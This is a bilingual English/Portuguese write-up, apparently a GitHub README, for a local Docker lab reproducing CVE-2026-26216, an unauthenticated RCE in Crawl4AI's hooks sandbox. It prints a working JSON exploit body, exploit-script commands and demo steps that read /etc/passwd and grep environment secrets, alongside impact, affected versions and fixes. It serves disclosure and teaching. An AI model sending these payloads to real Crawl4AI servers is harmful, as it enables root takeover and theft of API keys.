CVE-2026-26216: Crawl4AI unauthenticated RCE via hooksCVE-2026-26216: RCE não autenticada no Crawl4AI via hooks
A single unauthenticated JSON POST to Crawl4AI's /crawl endpoint executes Python as root — the homemade builtins sandbox kept __import__ on the allowlist. Dockerized lab plus a stdlib-only exploit.Um único POST JSON não autenticado no endpoint /crawl do Crawl4AI executa Python como root — o sandbox caseiro de builtins deixou __import__ na allowlist. Lab dockerizado e exploit usando só a stdlib.
Proof of concept on GitHubProva de conceito no GitHubAuthorization: this is a self-contained lab built for education and authorized security research. The vulnerable target runs locally in Docker. Only use it against systems you own or have explicit written permission to test — misuse can be a crime.
Summary
CVE-2026-26216 (GHSA-5882-5rx9-xgxp, CVSS 10.0, CWE-94) is a
pre-authentication remote code execution bug in Crawl4AI below 0.8.0.
The Docker server's POST /crawl endpoint accepts arbitrary Python in the
hooks.code.<event> field and runs it through exec() inside a homemade
sandbox — a restricted dictionary of builtins.
The sandbox strips open, eval, and exec, but __import__ was left on
the allowlist. That single forgotten builtin hands over the entire standard
library:
__import__("os").system("id")Because the official deployment ships with JWT disabled by default and the container runs as root, one JSON body is enough for unauthenticated root RCE.
Impact
| Axis | What an attacker gets |
|---|---|
| Confidentiality | OPENAI_API_KEY, internal tokens, and every other container secret |
| Integrity | Arbitrary file write — backdoors, tampered crawl output |
| Availability | Kill processes, wipe data inside the container |
| Lateral movement | The container usually reaches the internal network → pivot |
All of it without a single credential.
Affected versions
| Crawl4AI | Status |
|---|---|
< 0.8.0 | Vulnerable — __import__ allowed, hooks enabled by default |
>= 0.8.0 | Fixed — __import__ removed, hooks opt-in via CRAWL4AI_HOOKS_ENABLED |
Proof of concept
The whole exploit is the request body. The hook is a normal async def that the
server compiles and executes for the named event:
{
"urls": ["https://example.com"],
"hooks": {
"code": {
"on_page_context_created":
"async def hook(page, context, **kwargs):\n __import__('os').system('id')\n return page"
}
}
}The lab in the repo is a lean reproduction of the vulnerable code path — no
Chromium/Playwright, so it stays light and fully reproducible — with the
vulnerable line marked in vulnerable-app/hook_manager.py:
CVE-2026-26216/
├── docker-compose.yml # brings up the vulnerable server
├── vulnerable-app/
│ ├── Dockerfile # runs as root, like the official image
│ ├── server.py # FastAPI: POST /crawl, no auth
│ └── hook_manager.py # the weak sandbox — vulnerable line here
└── exploit/
└── exploit.py # stdlib-only exploit--demo walks the five stages that make the point:
| # | Action | Result |
|---|---|---|
| 1 | open('/etc/passwd') directly | Blocked by the sandbox (false security) |
| 2 | __import__('subprocess') + id / whoami | Command execution as root |
| 3 | cat /etc/passwd through the shell | Arbitrary file read |
| 4 | env | grep -Ei 'KEY|TOKEN|SECRET' | API key / token exfiltration |
| 5 | echo ... > /tmp/PWNED | Arbitrary file write |
Step 1 is the interesting one: the naive payload really is blocked, which is exactly what makes the allowlist feel safe right up until step 2 lands.
Run it
Prerequisites: Docker and Python 3 (the exploit uses stdlib only).
1. Bring up the target:
docker compose up -d --build2. Run the full demonstration:
python3 exploit/exploit.py --target http://localhost:11235 --demo3. Or execute an arbitrary command:
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"--event swaps the abused hook event (default on_page_context_created).
4. Tear it down:
docker compose down -vFix and mitigations
Fixed in Crawl4AI 0.8.0: __import__ (alongside eval, exec, and open)
was removed from the permitted builtins, and hooks are now disabled by
default, opt-in through CRAWL4AI_HOOKS_ENABLED=true.
- Upgrade to
crawl4ai >= 0.8.0. - Never expose the Crawl4AI server directly to the internet; enable JWT.
- Don't run the container as root — use an unprivileged user and a read-only FS.
- Treat a builtins allowlist as what it is: not a sandbox. Untrusted code needs real isolation (gVisor, a microVM, or a separate process with no network and no filesystem, plus seccomp).
References
Autorização: este é um lab autocontido, feito apenas para fins educacionais e pesquisa de segurança autorizada. O alvo vulnerável roda localmente em Docker. Use apenas contra sistemas que você possui ou para os quais tem permissão explícita por escrito — uso indevido pode ser crime.
Resumo
A CVE-2026-26216 (GHSA-5882-5rx9-xgxp, CVSS 10.0, CWE-94) é uma
execução remota de código pré-autenticação no Crawl4AI abaixo da
0.8.0. O endpoint POST /crawl do servidor Docker aceita Python arbitrário no
campo hooks.code.<event> e o executa via exec() dentro de um sandbox caseiro
— um dicionário restrito de builtins.
O sandbox remove open, eval e exec, mas __import__ ficou na
allowlist. Esse único builtin esquecido entrega a biblioteca padrão inteira:
__import__("os").system("id")Como o deploy oficial vem com JWT desabilitado por padrão e o contêiner roda como root, um corpo JSON basta para RCE como root sem autenticação.
Impacto
| Eixo | O que o atacante consegue |
|---|---|
| Confidencialidade | OPENAI_API_KEY, tokens internos e todo outro segredo do contêiner |
| Integridade | Escrita arbitrária de arquivos — backdoors, saída de crawl adulterada |
| Disponibilidade | Matar processos, apagar dados dentro do contêiner |
| Movimentação lateral | O contêiner normalmente alcança a rede interna → pivô |
Tudo isso sem uma única credencial.
Versões afetadas
| Crawl4AI | Status |
|---|---|
< 0.8.0 | Vulnerável — __import__ permitido, hooks habilitados por padrão |
>= 0.8.0 | Corrigido — __import__ removido, hooks opt-in via CRAWL4AI_HOOKS_ENABLED |
Prova de conceito
O exploit inteiro é o corpo da requisição. O hook é um async def comum que o
servidor compila e executa para o evento indicado:
{
"urls": ["https://example.com"],
"hooks": {
"code": {
"on_page_context_created":
"async def hook(page, context, **kwargs):\n __import__('os').system('id')\n return page"
}
}
}O lab do repositório é uma reprodução enxuta do caminho de código vulnerável —
sem Chromium/Playwright, para ficar leve e totalmente reproduzível — com a linha
vulnerável marcada em vulnerable-app/hook_manager.py:
CVE-2026-26216/
├── docker-compose.yml # sobe o servidor vulnerável
├── vulnerable-app/
│ ├── Dockerfile # roda como root, igual à imagem oficial
│ ├── server.py # FastAPI: POST /crawl, sem auth
│ └── hook_manager.py # o sandbox fraco — linha vulnerável aqui
└── exploit/
└── exploit.py # exploit usando só a stdlibO --demo percorre os cinco estágios que provam o ponto:
| # | Ação | Resultado |
|---|---|---|
| 1 | open('/etc/passwd') direto | Bloqueado pelo sandbox (falsa segurança) |
| 2 | __import__('subprocess') + id / whoami | Execução de comandos como root |
| 3 | cat /etc/passwd pelo shell | Leitura arbitrária de arquivos |
| 4 | env | grep -Ei 'KEY|TOKEN|SECRET' | Exfiltração de API keys e tokens |
| 5 | echo ... > /tmp/PWNED | Escrita arbitrária de arquivos |
O passo 1 é o interessante: o payload ingênuo realmente é bloqueado, e é exatamente isso que faz a allowlist parecer segura — até o passo 2 acertar.
Rodando o lab
Pré-requisitos: Docker e Python 3 (o exploit usa apenas a stdlib).
1. Suba o alvo:
docker compose up -d --build2. Rode a demonstração completa:
python3 exploit/exploit.py --target http://localhost:11235 --demo3. Ou execute um comando arbitrário:
python3 exploit/exploit.py --target http://localhost:11235 --cmd "id; hostname; env"O --event troca o evento de hook abusado (padrão on_page_context_created).
4. Derrube o ambiente:
docker compose down -vCorreção e mitigações
Corrigido no Crawl4AI 0.8.0: __import__ (junto de eval, exec e open)
foi removido dos builtins permitidos, e os hooks agora vêm desabilitados por
padrão, com opt-in via CRAWL4AI_HOOKS_ENABLED=true.
- Atualize para
crawl4ai >= 0.8.0. - Nunca exponha o servidor do Crawl4AI diretamente na internet; habilite JWT.
- Não rode o contêiner como root — use um usuário sem privilégios e um filesystem somente leitura.
- Trate uma allowlist de builtins pelo que ela é: não é um sandbox. Código não confiável precisa de isolamento de verdade (gVisor, uma microVM, ou um processo separado sem rede e sem filesystem, mais seccomp).